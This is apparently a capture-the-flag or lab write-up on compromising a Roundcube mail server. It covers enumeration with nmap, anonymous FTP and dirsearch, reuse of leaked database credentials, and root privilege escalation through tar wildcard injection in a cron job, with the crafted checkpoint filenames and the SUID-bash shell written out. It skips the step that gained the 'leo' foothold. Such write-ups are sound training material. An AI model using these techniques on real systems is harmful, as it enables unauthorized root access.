Initial Enumeration#

We begin with a full TCP port scan with service and default script detection:

1
nmap -sC -sV -p- 172.16.18.10 --min-rate 5000

1
PORT    STATE SERVICE  VERSION
2
21/tcp  open  ftp      vsftpd 3.0.5
3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
4
|_drwxr-xr-x    4 115      116          4096 Oct 31  2025 old_rc
5
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
6
80/tcp  open  http     Apache httpd 2.4.58 ((Ubuntu))
7
|_http-title: Apache2 Ubuntu Default Page: It works
8
110/tcp open  pop3     Dovecot pop3d
9
| ssl-cert: Subject: commonName=roundserver
10
143/tcp open  imap     Dovecot imapd (Ubuntu)
11
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
12
995/tcp open  ssl/pop3 Dovecot pop3d (Ubuntu)
13
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals several interesting services. FTP allows anonymous authentication and exposes an old_rc directory. The host is also running a full mail stack through Dovecot, while the TLS certificate reveals the hostname roundserver.

Port 80 is serving the default Apache page, so there is no immediately visible application at the web server’s root. The exposed FTP directory is therefore the most promising lead and is worth investigating first.

FTP Enumeration#

We connect to the FTP service using anonymous authentication:

1
ftp 172.16.18.10

1
Name (172.16.18.10:root): ftp
2
331 Please specify the password.
3
Password:
4
230 Login successful.
5
ftp> ls -la
6
drwxr-xr-x    4 115      116          4096 Oct 31  2025 old_rc
7
ftp> cd old_rc
8
ftp> ls
9
-rwxr-xr-x    1 115      116         12714 Oct 31  2025 INSTALL
10
-rwxr-xr-x    1 115      116         35147 Oct 31  2025 LICENSE
11
-rwxr-xr-x    1 115      116          3853 Oct 31  2025 README.md
12
-rwxr-xr-x    1 115      116          1049 Oct 31  2025 SECURITY.md
13
drwxr-xr-x    2 115      116          4096 Oct 31  2025 bin
14
drwxr-xr-x    2 115      116          4096 Oct 31  2025 config
15
-rwxr-xr-x    1 115      116         11200 Oct 31  2025 index.php

The contents of old_rc resemble a complete PHP application. The config directory and index.php are particularly interesting, as configuration files often contain database credentials or other sensitive information.

We download the exposed files for offline analysis:

1
wget -r --no-parent --level=0 --user="ftp" --password="ftp" ftp://172.16.18.10/

Examining the downloaded files confirms that old_rc contains a copy of the Roundcube application. This gives us a useful starting point for investigating the live web application.

Web Enumeration#

Since the FTP backup identifies the application as Roundcube, we now need to determine where the live instance is hosted on the web server.

We enumerate directories on the HTTP service:

1
dirsearch -u http://172.16.18.10/ -x 403
2

3
<SNIP>
4

5
[11:44:29] Starting:
6
[11:46:12] 200 -    5KB - /roundcube/index.php

The scan confirms that the live Roundcube instance is accessible under /roundcube/.

With the application location identified, we can compare the live instance with the copy obtained through FTP. Examining the backed-up config/config.inc.php reveals a database connection string containing credentials in cleartext:

1
$config['db_dsnw'] = 'mysql://marina:3467marina@localhost/roundcube';

The credentials are:

1
marina : 3467marina

We test these credentials against the live Roundcube instance at /roundcube/.

The credentials are valid and allow us to authenticate to the Roundcube webmail interface.

There are no interesting emails in the mailbox, so we proceed by identifying the exact version of the running application.

1
Roundcube Webmail 1.6.10

The running version is Roundcube 1.6.10, which is affected by CVE-2025-49113. This vulnerability provides a path to remote code execution when an authenticated account is available.

Process Monitoring#

While enumerating the filesystem as leo, we find a backup.tar.gz file owned by root in /tmp. Its timestamp changes over time, suggesting that it is being generated by a scheduled task:

1
leo@roundserver:/tmp$ ls -la
2
-rw-r--r--  1 root root   68751 Sep  9 17:01 backup.tar.gz

To identify what is creating the archive, we upload and run pspy64, which allows us to monitor processes without requiring root privileges:

1
https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1

1
leo@roundserver:/tmp$ ./pspy64
2
2026/09/09 17:17:01 CMD: UID=0     PID=55061  | /bin/sh -c cd /home/leo/mail/ && tar -czf /tmp/backup.tar.gz *
3
2026/09/09 17:17:01 CMD: UID=0     PID=55063  | tar -czf /tmp/backup.tar.gz Drafts Sent Trash

The output shows a root process executing tar from /home/leo/mail/ with a wildcard:

1
tar -czf /tmp/backup.tar.gz *

Because leo owns the mail directory, we can create files with controlled names there. When the cron job executes, these filenames are expanded by the shell and passed to tar. This makes the command vulnerable to tar option injection.

Tar Wildcard Injection#

GNU tar supports options such as --checkpoint and --checkpoint-action, which can be abused when filenames beginning with -- are passed to the command.

We create a script that will copy /bin/bash to /tmp/rootbash and enable the SUID bit:

1
leo@roundserver:~$ /home/leo/mail/
2
leo@roundserver:~/mail$ echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > exploit.sh
3
leo@roundserver:~/mail$ ls
4
Drafts    exploit.sh  Sent  Trash
5
leo@roundserver:~/mail$ touch ./"--checkpoint=1"
6
leo@roundserver:~/mail$ touch ./"--checkpoint-action=exec=sh exploit.sh"

When the root cron job runs, the wildcard expands to the crafted filenames. tar interprets them as options and executes exploit.sh with root privileges.

The next execution creates the SUID-enabled copy of bash:

1
leo@roundserver:/tmp$ ls -la
2
-rw-r--r--  1 root root   68838 Sep  9 17:21 backup.tar.gz
3
<SNIP>
4
-rwsr-sr-x  1 root root  139652 Sep  9 17:21 rootbash
5
leo@roundserver:/tmp$ ./rootbash -i -p
6
rootbash-5.2# id
7
uid=1000(leo) gid=1000(leo) euid=0(root) egid=0(root) groups=0(root),1000(leo)

The resulting shell has an effective UID of 0, providing root-level access to the system. We can now read the root flag:

1
rootbash-5.2# cd /root
2
rootbash-5.2# ls
3
cleanup  root.flg
4
rootbash-5.2# cat root.flg
5
88b<SNIP>7bb